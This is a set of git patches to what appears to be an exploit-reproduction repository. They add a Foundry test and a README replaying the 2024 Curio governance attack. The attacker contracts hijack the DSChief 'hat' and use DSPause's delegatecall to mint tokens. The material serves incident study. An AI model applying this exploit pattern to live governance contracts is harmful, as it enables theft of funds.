b/test/Business_Logic/Curio/ds-contracts/Chief/note.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/note.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/note.sol diff --git a/test/Business_Logic/Curio/Chief/roles.sol b/test/Business_Logic/Curio/ds-contracts/Chief/roles.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/roles.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/roles.sol diff --git a/test/Business_Logic/Curio/Chief/thing.sol b/test/Business_Logic/Curio/ds-contracts/Chief/thing.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/thing.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/thing.sol diff --git a/test/Business_Logic/Curio/Chief/token.sol b/test/Business_Logic/Curio/ds-contracts/Chief/token.sol similarity index 100% rename from test/Business_Logic/Curio/Chief/token.sol rename to test/Business_Logic/Curio/ds-contracts/Chief/token.sol diff --git a/test/Business_Logic/Curio/join.sol b/test/Business_Logic/Curio/ds-contracts/join.sol similarity index 100% rename from test/Business_Logic/Curio/join.sol rename to test/Business_Logic/Curio/ds-contracts/join.sol diff --git a/test/Business_Logic/Curio/ds-contracts/pause.sol b/test/Business_Logic/Curio/ds-contracts/pause.sol new file mode 100644 index 00000000..24804291 --- /dev/null +++ b/test/Business_Logic/Curio/ds-contracts/pause.sol @@ -0,0 +1,60 @@ +pragma solidity ^0.8.24; + +contract DSPause { + uint256 public delay; + DSPauseProxy public proxy; + mapping(bytes32 => bool) public plans; + + constructor(uint256 delay_, address owner_, address authority_) public { + delay = delay_; + proxy = new DSPauseProxy(); + } + + function hash(address usr, bytes32 tag, bytes memory fax, uint256 eta) internal pure returns (bytes32) { + return keccak256(abi.encode(usr, tag, fax, eta)); + } + + function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) public { + require(eta >= block.timestamp + delay, "ds-pause-delay-not-respected"); + plans[hash(usr, tag, fax, eta)] = true; + } + + function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) + public + returns (bytes memory out) + { + require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); + require(soul(usr) == tag, "ds-pause-wrong-codehash"); + require(block.timestamp >= eta, "ds-pause-premature-exec"); + + plans[hash(usr, tag, fax, eta)] = false; + + out = proxy.exec(usr, fax); + require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); + } + + function soul(address usr) internal view returns (bytes32 tag) { + assembly { + tag := extcodehash(usr) + } + } +} + +contract DSPauseProxy { + address public owner; + + modifier auth() { + require(msg.sender == owner, "ds-pause-proxy-unauthorized"); + _; + } + + constructor() public { + owner = msg.sender; + } + + function exec(address usr, bytes memory fax) public auth returns (bytes memory out) { + bool ok; + (ok, out) = usr.delegatecall(fax); + require(ok, "ds-pause-delegatecall-error"); + } +} diff --git a/test/Business_Logic/Curio/vat.sol b/test/Business_Logic/Curio/ds-contracts/vat.sol similarity index 100% rename from test/Business_Logic/Curio/vat.sol rename to test/Business_Logic/Curio/ds-contracts/vat.sol From 8e683a28b921d99ad1892304eb04dd66bc90d38e Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Thu, 6 Jun 2024 14:22:36 -0300 Subject: [PATCH 12/19] move: files to access control category --- .../Curio/AttackerContract.sol | 35 +++----------- .../Curio/Curio.attack.sol | 46 +++++++------------ .../Curio/Interfaces.sol | 0 test/Access_Control/Curio/README.md | 30 ++++++++++++ .../Curio/ds-contracts/Chief/auth.sol | 0 .../Curio/ds-contracts/Chief/chief.sol | 0 .../Curio/ds-contracts/Chief/math.sol | 0 .../Curio/ds-contracts/Chief/note.sol | 0 .../Curio/ds-contracts/Chief/roles.sol | 0 .../Curio/ds-contracts/Chief/thing.sol | 0 .../Curio/ds-contracts/Chief/token.sol | 0 .../Curio/ds-contracts/join.sol | 0 .../Curio/ds-contracts/pause.sol | 0 .../Curio/ds-contracts/vat.sol | 0 14 files changed, 54 insertions(+), 57 deletions(-) rename test/{Business_Logic => Access_Control}/Curio/AttackerContract.sol (64%) rename test/{Business_Logic => Access_Control}/Curio/Curio.attack.sol (73%) rename test/{Business_Logic => Access_Control}/Curio/Interfaces.sol (100%) create mode 100644 test/Access_Control/Curio/README.md rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/auth.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/chief.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/math.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/note.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/roles.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/thing.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/Chief/token.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/join.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/pause.sol (100%) rename test/{Business_Logic => Access_Control}/Curio/ds-contracts/vat.sol (100%) diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Access_Control/Curio/AttackerContract.sol similarity index 64% rename from test/Business_Logic/Curio/AttackerContract.sol rename to test/Access_Control/Curio/AttackerContract.sol index a4d66ce0..f23e244f 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Access_Control/Curio/AttackerContract.sol @@ -3,28 +3,20 @@ pragma solidity ^0.8.24; import "./Interfaces.sol"; import "forge-std/console.sol"; import "./ds-contracts/Chief/chief.sol"; - import "./ds-contracts/pause.sol"; // Contract used by the attacker to get outstanding CGT balance // The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code contract Action { - IDSChief chief; - DSPause public pause; + IDSChief public chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + DSPause public pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); Spell spell; address public pans; // the attacker named the deployer after pans // The attacker knew the Chief address in advance, we pass this as a constructor argument - constructor(address _chief, address _pause) { + constructor() { pans = msg.sender; - // Somehow Chief and Pause in tandem receive minting privileges to CSC Token - // Addresses used by the attacker - chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); - pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); - - // chief = IDSChief(_chief); - // pause = DSPause(_pause); } modifier onlyPans() { @@ -35,11 +27,13 @@ contract Action { function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { IERC20 cgt = IERC20(_cgt); cgt.transferFrom(msg.sender, address(this), amount); - console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + console.log("Balance of CGT"); + console.log("Before the attack: %s", cgt.balanceOf(address(this))); cgt.approve(address(chief), amount); chief.lock(amount); + console.log("After locking in chief: %s", cgt.balanceOf(address(this))); address[] memory _yays = new address[](1); _yays[0] = address(this); @@ -55,26 +49,19 @@ contract Action { bytes memory funcSig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt)); uint256 delay = block.timestamp + 0; - console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); - // Somehow DSPauseProxy should be allowed in the context of CSC Token to mint tokens pause.plot(spellAddr, tag, funcSig, delay); pause.exec(spellAddr, tag, funcSig, delay); - console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + console.log("End of attack: %s", cgt.balanceOf(address(this))); } } contract Spell { function act(address user, IMERC20 cgt) public { - // Addresses used by the attacker IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); - // Addresses retrieved from local deployment - // IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); - // IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); - vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); vat.hope(address(daiJoin)); @@ -92,11 +79,3 @@ contract Spell { cgt.start(); } } - -contract IOUToken { - event Mint(address to, uint256 amount); - - function mint(address to, uint256 amount) external { - emit Mint(to, amount); - } -} diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Access_Control/Curio/Curio.attack.sol similarity index 73% rename from test/Business_Logic/Curio/Curio.attack.sol rename to test/Access_Control/Curio/Curio.attack.sol index 52c01164..9c04cba2 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Access_Control/Curio/Curio.attack.sol @@ -16,13 +16,12 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { IMERC20 curioCSCToken = IMERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB); // Instances of relevant contracts - // Attacker contracts Action attackerContract; DSChief chief; DSPause pause; Vat vat; DaiJoin daiJoin; - IOUToken IOU; + IMERC20 IOU; // Peripheral contracts IForeignOmnibridge foreignOmniBridge = IForeignOmnibridge(0x69c707d975e8d883920003CC357E556a4732CD03); @@ -45,10 +44,9 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { } function test_attack() public { - // TODO we should adjust/warp each's step timestamp or block - console.log("\n==== STEP 0: Deploy attack contracts used by Action ===="); - // These contracts were deployed almost 3 years before the attack - deployInitialContracts(); + console.log("\n==== STEP 0: Instance protocol contracts ===="); + // These contracts were deployed almost 3 years before the attack by Curio + _instanceCurioContracts(); console.log("\n==== STEP 1: Send tokens to Omnibridge ===="); // Approve tx: 0x0b4a076b4fe1d873b75e7fadc3d99e0240a61fa23f5327782416588f09c32295 @@ -72,7 +70,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); // Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3 cheat.prank(ATTACKER); - attackerContract = new Action(address(chief), address(pause)); + attackerContract = new Action(); require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); console.log("Attacker's contract deployement successful"); @@ -96,33 +94,23 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { */ } - function deployInitialContracts() internal { - // Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598 + function _instanceCurioContracts() internal { + // CSC Curio Token deployer: 0x63eA2D3fCb0759Ab9aD46eDc5269D7DebD0BDbe6 + // IOU deployment: 0x8b8ef358b5407298bc7e77e77575993a3f559b4f343e26f1c5cf721e6922cf46 - cheat.prank(ATTACKER); - IOU = new IOUToken(); - require(address(IOU).code.length != 0, "IOU token deployment failed"); - console.log("IOU token contract deployement successful at: %s", address(IOU)); + IOU = IMERC20(0xD29CAB1a24fC9fa22a035A7c3a0bF54a7cE7598D); - cheat.prank(ATTACKER); - chief = new DSChief(DSToken(address(cgtToken)), DSToken(address(IOU)), type(uint256).max); - require(address(chief).code.length != 0, "Chief deployment failed"); - console.log("Chief contract deployement successful at: %s", address(chief)); + // Chief deployment: 0x83661c0bb2d1288c523aba5aaa9f78d237eb6d068f5374ce221c38b0c088c598 + chief = DSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); - cheat.prank(ATTACKER); - pause = new DSPause(0, address(this), address(this)); // last two params unused - require(address(pause).code.length != 0, "Pause deployment failed"); - console.log("Pause contract deployement successful at: %s", address(pause)); + // Pause deployment: 0x5629b47d48a6af2956ce0ab966c8aa7a7fb99d6d1ebfa17d359f129b00b60aa2 + pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); - cheat.prank(ATTACKER); - vat = new Vat(); - require(address(vat).code.length != 0, "Vat deployment failed"); - console.log("Vat contract deployement successful at: %s", address(vat)); + // Vat deployment: 0x5fcb57eb4326220c3c0ae53cd78defed530a8cd4dddde28a45c4c7cd9a06b5f2 + vat = Vat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); - cheat.prank(ATTACKER); - daiJoin = new DaiJoin(address(vat), address(curioCSCToken)); - require(address(vat).code.length != 0, "DaiJoin deployment failed"); - console.log("DaiJoin contract deployement successful at: %s", address(daiJoin)); + // DaiJoin deployment: 0xb467409f36f03fd0328e49858bfbd662b15a362fd932ed8c3e20892bba39229f + daiJoin = DaiJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); } function _labelAccounts() internal { diff --git a/test/Business_Logic/Curio/Interfaces.sol b/test/Access_Control/Curio/Interfaces.sol similarity index 100% rename from test/Business_Logic/Curio/Interfaces.sol rename to test/Access_Control/Curio/Interfaces.sol diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md new file mode 100644 index 00000000..743d5be6 --- /dev/null +++ b/test/Access_Control/Curio/README.md @@ -0,0 +1,30 @@ +# Curio Public Mint +- **Type:** Exploit +- **Network:** Ethereum +- **Total lost**: ~16MM USD +- **Category:** Access Control +- **Vulnerable contracts:** +- - [Curio Chief](https://etherscan.io/address/0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0#code) +- - [Curio Pause](https://etherscan.io/address/0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f#code) + +- **Attack transactions:** +- - [Privilege escalation and mint](https://etherscan.io/tx/0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106) + +- **Attacker Addresses**: +- - Attacker EOA: [0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5](https://etherscan.io/address/0xdaAa6294C47b5743BDafe0613d1926eE27ae8cf5) +- - Attacker Contract (verified): [0x1E791527AEA32cDDBD7CeB7F04612DB536816545](https://etherscan.io/address/0x1E791527AEA32cDDBD7CeB7F04612DB536816545) + +- **Attack Block:**: `19,498,911` +- **Date:** Mar 23, 2024 +- **Reproduce:** `forge test --match-contract=Exploit_Curio -vvv` + +## Step-by-step + +## Detailed Description + +## Possible mitigations + +## Sources and references +- [Curio Tweet](https://twitter.com/curio_invest/status/1771635979192774674) +- [Hacken Tweet](https://x.com/hackenclub/status/1772288824799801401) +- [Rekt Article](https://rekt.news/curio-rekt/) diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/auth.sol b/test/Access_Control/Curio/ds-contracts/Chief/auth.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/auth.sol rename to test/Access_Control/Curio/ds-contracts/Chief/auth.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/chief.sol b/test/Access_Control/Curio/ds-contracts/Chief/chief.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/chief.sol rename to test/Access_Control/Curio/ds-contracts/Chief/chief.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/math.sol b/test/Access_Control/Curio/ds-contracts/Chief/math.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/math.sol rename to test/Access_Control/Curio/ds-contracts/Chief/math.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/note.sol b/test/Access_Control/Curio/ds-contracts/Chief/note.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/note.sol rename to test/Access_Control/Curio/ds-contracts/Chief/note.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/roles.sol b/test/Access_Control/Curio/ds-contracts/Chief/roles.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/roles.sol rename to test/Access_Control/Curio/ds-contracts/Chief/roles.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/thing.sol b/test/Access_Control/Curio/ds-contracts/Chief/thing.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/thing.sol rename to test/Access_Control/Curio/ds-contracts/Chief/thing.sol diff --git a/test/Business_Logic/Curio/ds-contracts/Chief/token.sol b/test/Access_Control/Curio/ds-contracts/Chief/token.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/Chief/token.sol rename to test/Access_Control/Curio/ds-contracts/Chief/token.sol diff --git a/test/Business_Logic/Curio/ds-contracts/join.sol b/test/Access_Control/Curio/ds-contracts/join.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/join.sol rename to test/Access_Control/Curio/ds-contracts/join.sol diff --git a/test/Business_Logic/Curio/ds-contracts/pause.sol b/test/Access_Control/Curio/ds-contracts/pause.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/pause.sol rename to test/Access_Control/Curio/ds-contracts/pause.sol diff --git a/test/Business_Logic/Curio/ds-contracts/vat.sol b/test/Access_Control/Curio/ds-contracts/vat.sol similarity index 100% rename from test/Business_Logic/Curio/ds-contracts/vat.sol rename to test/Access_Control/Curio/ds-contracts/vat.sol From 86afa721e3d0635573295a37e1e969552656ab19 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Thu, 6 Jun 2024 17:23:48 -0300 Subject: [PATCH 13/19] add: curio readme --- .../Access_Control/Curio/AttackerContract.sol | 3 +- test/Access_Control/Curio/README.md | 148 ++++++++++++++++++ 2 files changed, 150 insertions(+), 1 deletion(-) diff --git a/test/Access_Control/Curio/AttackerContract.sol b/test/Access_Control/Curio/AttackerContract.sol index f23e244f..6c32739b 100644 --- a/test/Access_Control/Curio/AttackerContract.sol +++ b/test/Access_Control/Curio/AttackerContract.sol @@ -14,7 +14,6 @@ contract Action { address public pans; // the attacker named the deployer after pans - // The attacker knew the Chief address in advance, we pass this as a constructor argument constructor() { pans = msg.sender; } @@ -70,6 +69,8 @@ contract Spell { cgt.mint(user, 10 ** 12 * 1 ether); } + // Methods in attacker's spell. Used later on to perform the swaps. + // Not strictly required for the attack. function clean(IMERC20 cgt) external { // Anti-mev cgt.stop(); diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md index 743d5be6..b494c961 100644 --- a/test/Access_Control/Curio/README.md +++ b/test/Access_Control/Curio/README.md @@ -19,8 +19,156 @@ - **Reproduce:** `forge test --match-contract=Exploit_Curio -vvv` ## Step-by-step +1. The attacker locked tokens into the DSChief contract. +2. The attacker accumulated enough voting power . +3. The attacker displaced (lifted) the current hat and set their contract as the new hat (without requiring many tokens). +4. The DSPause contract, upon making a `delegatecall`, checked DSChief.canCall, which returned true for the attacker's contract. +5. Consuming the authorized minter role of DSPause, the attacker executed a malicious instructions through a custom `Spell` contract to mint tokens directly to themselves. + ## Detailed Description +Curio Finance leverages MakerDAO contracts for managing specific protocol functionalities. Their CSC Curio token, a `DSToken`, designates the `DSPauseProxy` contract as its minter. The `DSPause` contract relies on `DSChief.canCall` to verify if an authorized (privileged) call is permitted. +Then, executes a `delegatecall` through its proxy. + +The operational vulnerability resided in the `DSChief` contract, which manages a HAT account that can be reconfigured with sufficient voting power. The attacker exploited this by locking tokens in `DSChief`, getting enough votes to lift and displace the current hat, subsequently positioning their contract as the new hat. The main issue was that the current hat did not have enough voting power which allowed the easy displacement. + +The attacker was able to displace the `hat` by making the following calls on [chief.sol](https://github.com/CurioTeam/ds-chief/blob/simplify/src/chief.sol). + +- Get initial voting weight. +```solidity + function lock(uint128 wad) + note + { + GOV.pull(msg.sender, wad); + IOU.mint(wad); + IOU.push(msg.sender, wad); + deposits[msg.sender] = wadd(deposits[msg.sender], wad); + addWeight(wad, votes[msg.sender]); + } + + function addWeight(uint128 weight, bytes32 slate) + internal + { + var yays = slates[slate]; + for( uint i = 0; i < yays.length; i++) { + approvals[yays[i]] = wadd(approvals[yays[i]], weight); + } + } +``` + +```solidity + function vote(bytes32 slate) + note + { + uint128 weight = deposits[msg.sender]; + subWeight(weight, votes[msg.sender]); + votes[msg.sender] = slate; + addWeight(weight, votes[msg.sender]); + } +``` + +- Displace the previous hat: +```solidity + function lift(address whom) + note + { + require(approvals[whom] > approvals[hat]); + hat = whom; + } +``` + +Since the authorized minter of the CSC Token is the `DSPauseProxy` which is controlled by the `DSPause` contract, by getting enough privileges through +the escalation made on the Chief the attacker was able to make the arbitrary `delegatecall` from the proxy. + +- [`roles.sol`](https://github.com/dapphub/ds-roles/blob/495863375b87efe062eb3b723e6a199633ec7e51/src/roles.sol#L40): + +These function were called from the pause contract to validate the caller's privileges. +```solidity + function canCall(address caller, address code, bytes4 sig) + constant + returns (bool) + { + if( isUserRoot(caller) || isCapabilityPublic(code, sig) ) { + return true; + } else { + var has_roles = getUserRoles(caller); + var needs_one_of = getCapabilityRoles(code, sig); + return bytes32(0) != has_roles & needs_one_of; + } + } +``` + +- `chief.sol`: +```solidity + function isUserRoot(address who) + constant + returns (bool) + { + return (who == hat); + } +``` + +- [`pause.sol`](https://github.com/CurioTeam/ds-pause/blob/solc-0.5-0.6/src/pause.sol): + +```solidity + modifier auth { + require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); + _; + } + + function isAuthorized(address src, bytes4 sig) internal view returns (bool) { + if (src == address(this)) { + return true; + } else if (src == owner) { + return true; + } else if (authority == address(0)) { + return false; + } else { + return DSAuthority(authority).canCall(src, address(this), sig); + } + } +``` + +The following functions were used to enqueue and call for the execution on `DSPause`. +```solidity + function plot(address usr, bytes32 tag, bytes memory fax, uint eta) + public note auth + { + require(eta >= add(now, delay), "ds-pause-delay-not-respected"); + plans[hash(usr, tag, fax, eta)] = true; + } +``` + +```solidity + function exec(address usr, bytes32 tag, bytes memory fax, uint eta) + public note + returns (bytes memory out) + { + require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); + require(soul(usr) == tag, "ds-pause-wrong-codehash"); + require(now >= eta, "ds-pause-premature-exec"); + + plans[hash(usr, tag, fax, eta)] = false; + + out = proxy.exec(usr, fax); + require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); + } +``` + +Finally, make the `delegatecall` from the `DSPauseProxy`: + +```solidity + function exec(address usr, bytes memory fax) + public auth + returns (bytes memory out) + { + bool ok; + (ok, out) = usr.delegatecall(fax); + require(ok, "ds-pause-delegatecall-error"); + } +``` + +Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with delegatecall and possessed minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. ## Possible mitigations From e90ac1545a891365ade8457955c480d694c4a96a Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Thu, 6 Jun 2024 17:26:08 -0300 Subject: [PATCH 14/19] readme: add spell implementation --- test/Access_Control/Curio/README.md | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md index b494c961..7aae1bf1 100644 --- a/test/Access_Control/Curio/README.md +++ b/test/Access_Control/Curio/README.md @@ -168,7 +168,24 @@ Finally, make the `delegatecall` from the `DSPauseProxy`: } ``` -Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with delegatecall and possessed minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. +Upon making that `delegatecall`, `DSPause` verifies through `DSChief.canCall`, which returned true given the attacker's contract was now the hat. Since `DSPause` executes actions with delegatecall and possessed minting authority for the token, the attacker deployed a malicious custom `Spell` contract to mint tokens directly to their address. + +- `Spell` contract: +```solidity + function act(address user, IMERC20 cgt) public { + IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); + IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); + + vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); + + vat.hope(address(daiJoin)); + daiJoin.exit(user, 10 ** 9 * 1 ether); + + cgt.mint(user, 10 ** 12 * 1 ether); + } +``` + +Then, the attacker made multiple swaps and cross-chain transfers using different providers. ## Possible mitigations From fc9baa5bb5c03b3dae2d3edfd8c486e026f5221c Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Thu, 6 Jun 2024 17:32:42 -0300 Subject: [PATCH 15/19] readme: improve step by step --- test/Access_Control/Curio/README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md index 7aae1bf1..1d3a9d4f 100644 --- a/test/Access_Control/Curio/README.md +++ b/test/Access_Control/Curio/README.md @@ -19,11 +19,11 @@ - **Reproduce:** `forge test --match-contract=Exploit_Curio -vvv` ## Step-by-step -1. The attacker locked tokens into the DSChief contract. -2. The attacker accumulated enough voting power . -3. The attacker displaced (lifted) the current hat and set their contract as the new hat (without requiring many tokens). -4. The DSPause contract, upon making a `delegatecall`, checked DSChief.canCall, which returned true for the attacker's contract. -5. Consuming the authorized minter role of DSPause, the attacker executed a malicious instructions through a custom `Spell` contract to mint tokens directly to themselves. +1. The attacker locked tokens into the `DSChief` contract. +2. Accumulated enough voting power. +3. Displaced (lifted) the current hat and set their contract as the new hat (without requiring many tokens). +4. The `DSPause` contract, upon making a `delegatecall`, checked `DSChief.canCall`, which returned true for the attacker's contract. +5. Consuming the authorized minter role from `DSPause`, the attacker executed a malicious instructions through a custom `Spell` contract to mint tokens directly to themselves. ## Detailed Description From eb572828ba7a204f0f6f1c3cb72fee3d137fa7c5 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Fri, 7 Jun 2024 10:09:11 -0300 Subject: [PATCH 16/19] better readme and logs --- .../Access_Control/Curio/AttackerContract.sol | 6 +---- test/Access_Control/Curio/Curio.attack.sol | 23 ++++++++++++------- test/Access_Control/Curio/README.md | 9 +++++--- 3 files changed, 22 insertions(+), 16 deletions(-) diff --git a/test/Access_Control/Curio/AttackerContract.sol b/test/Access_Control/Curio/AttackerContract.sol index 6c32739b..08699591 100644 --- a/test/Access_Control/Curio/AttackerContract.sol +++ b/test/Access_Control/Curio/AttackerContract.sol @@ -26,13 +26,11 @@ contract Action { function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { IERC20 cgt = IERC20(_cgt); cgt.transferFrom(msg.sender, address(this), amount); - console.log("Balance of CGT"); - console.log("Before the attack: %s", cgt.balanceOf(address(this))); cgt.approve(address(chief), amount); chief.lock(amount); - console.log("After locking in chief: %s", cgt.balanceOf(address(this))); + console.log("CGT Balance after locking in chief: %s", cgt.balanceOf(address(this))); address[] memory _yays = new address[](1); _yays[0] = address(this); @@ -51,8 +49,6 @@ contract Action { pause.plot(spellAddr, tag, funcSig, delay); pause.exec(spellAddr, tag, funcSig, delay); - - console.log("End of attack: %s", cgt.balanceOf(address(this))); } } diff --git a/test/Access_Control/Curio/Curio.attack.sol b/test/Access_Control/Curio/Curio.attack.sol index 9c04cba2..93291375 100644 --- a/test/Access_Control/Curio/Curio.attack.sol +++ b/test/Access_Control/Curio/Curio.attack.sol @@ -72,26 +72,33 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { cheat.prank(ATTACKER); attackerContract = new Action(); require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); - console.log("Attacker's contract deployement successful"); + console.log("Attacker's contract deployement successful at: %s", address(attackerContract)); console.log("\n==== STEP 4: Call cook() on Action, start attack ===="); + console.log("== Before attack =="); + address _hat = chief.hat(); + console.log("Chief hat: %s", _hat); + console.log("Chief approvals: %s", chief.approvals(_hat)); + console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); + console.log("\n"); + cheat.startPrank(ATTACKER); cgtToken.approve(address(attackerContract), 2 ether); // 0x6a4cb2aa03ebf35f25e9f34a1727f7e0ea34c5e59cebc85b9e9c0729c6b0ad59 attackerContract.cook(address(cgtToken), 2 ether, 10 ether, 10 ether); cheat.stopPrank(); + + console.log("\n== After attack =="); + _hat = chief.hat(); + console.log("Chief hat: %s", _hat); + console.log("Chief approvals: %s", chief.approvals(_hat)); + console.log("Attacker CGT Balance: %s", cgtToken.balanceOf(address(attackerContract))); + // the last two params were set to some arbitrary-like values but are unused in the call. // Just for profit checks: /* require(weth.balanceOf(address(this)) >= wethMin, "not enought weth"); require(dai.balanceOf(address(this)) >= daiMin, "not enought dai"); */ - - /* - // Next steps: - 1. Mint CGT tokens via executor's contract - 2. Evaluate if the other previous calls that only emit events (likely changing only some attacker's - contract storage) are necessary - */ } function _instanceCurioContracts() internal { diff --git a/test/Access_Control/Curio/README.md b/test/Access_Control/Curio/README.md index 1d3a9d4f..ddd02955 100644 --- a/test/Access_Control/Curio/README.md +++ b/test/Access_Control/Curio/README.md @@ -30,7 +30,7 @@ Curio Finance leverages MakerDAO contracts for managing specific protocol functionalities. Their CSC Curio token, a `DSToken`, designates the `DSPauseProxy` contract as its minter. The `DSPause` contract relies on `DSChief.canCall` to verify if an authorized (privileged) call is permitted. Then, executes a `delegatecall` through its proxy. -The operational vulnerability resided in the `DSChief` contract, which manages a HAT account that can be reconfigured with sufficient voting power. The attacker exploited this by locking tokens in `DSChief`, getting enough votes to lift and displace the current hat, subsequently positioning their contract as the new hat. The main issue was that the current hat did not have enough voting power which allowed the easy displacement. +The operational vulnerability resided in the `DSChief` contract, which manages a HAT account that can be reconfigured with not much voting power. The attacker exploited this by locking tokens in `DSChief`, getting enough votes to lift and displace the current hat, subsequently positioning their contract as the new hat. The main issue was that the previous hat (Curio's `DSSSpell`) did not have enough voting power to consider the system safe, which allowed the easy and cheap displacement. The attacker was able to displace the `hat` by making the following calls on [chief.sol](https://github.com/CurioTeam/ds-chief/blob/simplify/src/chief.sol). @@ -82,7 +82,7 @@ the escalation made on the Chief the attacker was able to make the arbitrary `de - [`roles.sol`](https://github.com/dapphub/ds-roles/blob/495863375b87efe062eb3b723e6a199633ec7e51/src/roles.sol#L40): -These function were called from the pause contract to validate the caller's privileges. +These functions were called from the pause contract to validate the caller's privileges. ```solidity function canCall(address caller, address code, bytes4 sig) 